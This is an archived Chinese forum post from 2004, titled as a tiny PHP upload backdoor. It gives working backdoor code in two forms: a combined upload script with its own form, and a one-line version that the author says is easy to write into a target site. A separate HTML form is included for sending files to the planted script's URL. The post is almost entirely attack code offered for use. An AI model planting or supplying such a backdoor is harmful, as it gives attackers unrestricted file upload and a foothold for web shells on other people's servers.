Board logo

标题: [注意]一个超小型PHP上传型后门 [打印本页]

作者: cnangel    时间: 2004-5-28 00:26     标题: [注意]一个超小型PHP上传型后门

  1. <?
  2. $fname = $_FILES['MyFile']['name'];   
  3. $do = copy($_FILES['MyFile']['tmp_name'],$fname);
  4. if ($do)
  5. {
  6.     echo"上传成功<p>";
  7.     echo "http://".$SERVER_NAME."".dirname($PHP_SELF)."/".$fname."";
  8. } else {
  9.     echo "上传失败";
  10. }
  11. ?>
  12. <form ENCTYPE="multipart/form-data" ACTION="<?php echo"".$PHP_SELF.""; ?>" METHOD="POST">
  13. <input NAME="MyFile" TYPE="file">
  14. <input VALUE="提交" TYPE="submit">
  15. </from>  
复制代码
够精简的吧?其实还可以更精简的。但我只是为了使用方便,加了一个判断。这个是一体化的,界面和代码在一个文件里面。

再给一个超级小小小小的,和表单是分离。而且只有一行代码。方便大家写入了吧?如果需要转义引号,大家看情况自己加吧。
  1. <?php $msg = copy($_FILES['MyFile']['tmp_name'],$_FILES['MyFile']['name']) ? "上传成功" : "上传失败";echo $msg;?>
复制代码
本地提交表单的代码如下:
  1. <form ENCTYPE="multipart/form-data" ACTION="这里是实际的URL" METHOD="POST">
  2. <input NAME="MyFile" TYPE="file">
  3. <input VALUE="提交" TYPE="submit">
  4. </from>
复制代码





欢迎光临 星星博客 (http://commerce.huhoo.net/) Powered by Discuz! 7.0.0